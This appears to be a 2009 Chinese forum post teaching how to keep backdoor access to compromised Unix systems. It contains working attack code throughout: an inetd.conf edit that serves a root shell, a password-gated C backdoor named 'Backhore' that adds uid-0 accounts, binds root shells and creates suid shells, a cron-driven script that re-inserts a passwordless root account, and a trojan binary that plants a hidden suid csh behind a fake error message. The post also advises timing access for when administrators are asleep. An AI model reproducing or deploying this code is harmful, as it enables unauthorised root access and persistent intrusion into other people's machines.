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4楼
发表于 2009-1-24 17:31
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一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：
daytime stream tcp nowait root internal
修改为：
daytime stream tcp nowait /bin/sh sh -i.
然后重启（记住：一定要重启）inetd 进程：
killall -9 inetd。
但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）
<++> backdoor/remoteback.c
/* Coders:
Theft
Help from:
Sector9, Halogen
Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf("\n Backhore BETA by Theft\n");
printf(" 1: trojans rc.local\n");
printf(" 2: sends a systemwide message\n");
printf(" 3: binds a root shell on port 2000\n");
printf(" 4: creates suid sh in /tmp\n");
printf(" 5: creates mutiny account uid 0 no passwd\n");
printf(" 6: drops to suid shell\n");
printf(" 7: information on backhore\n");
printf(" 8: contact\n");
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf("..using password: %s..\n", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case '1':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Trojaning rc.local\n");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.\n");
break;
case '2':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Sending systemwide message..\n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.\n");
break;
case '3':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding inetd backdoor... (-p)\n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
execl("killall", "-HUP", "inetd", NULL);
printf("\ndone.\n");
printf("telnet to port 2000\n\n");
break;
case '4':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding Suid Shell... (-s)\n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("\nSuid shell added.\n");
printf("execute /tmp/.sh\n\n");
break;
case '5':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding root account... (-u)\n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
printf("\ndone.\n");
printf("uid 0 and gid 0 account added\n\n");
break;
case '6':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Executing suid shell..\n");
execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\nhttp://theft.bored.org\n");
printf("theft@cyberspace.org\n\n");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->
[高级]
Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间（月、日、周、时、分）运行。如果你足够聪明，就应该加以利用，使之为我们制造“后门”！通过 Cron 服务，你可以让它在每天凌晨 3:00 （这个时候网管应该睡觉了吧。）运行后门程序，使你能够轻易进入系统干你想干的事，并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：
(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb
1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序
以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门，只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例：
0 0 * * * /usr/bin/retract
<++> backdoor/backdoor.sh
#!/bin/csh
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->
[综合]
当然，我们可以编写木马程序，并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例：
<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){
if(!(strcmp(pass,argv[1]))){
system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
printf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->
[变种] |
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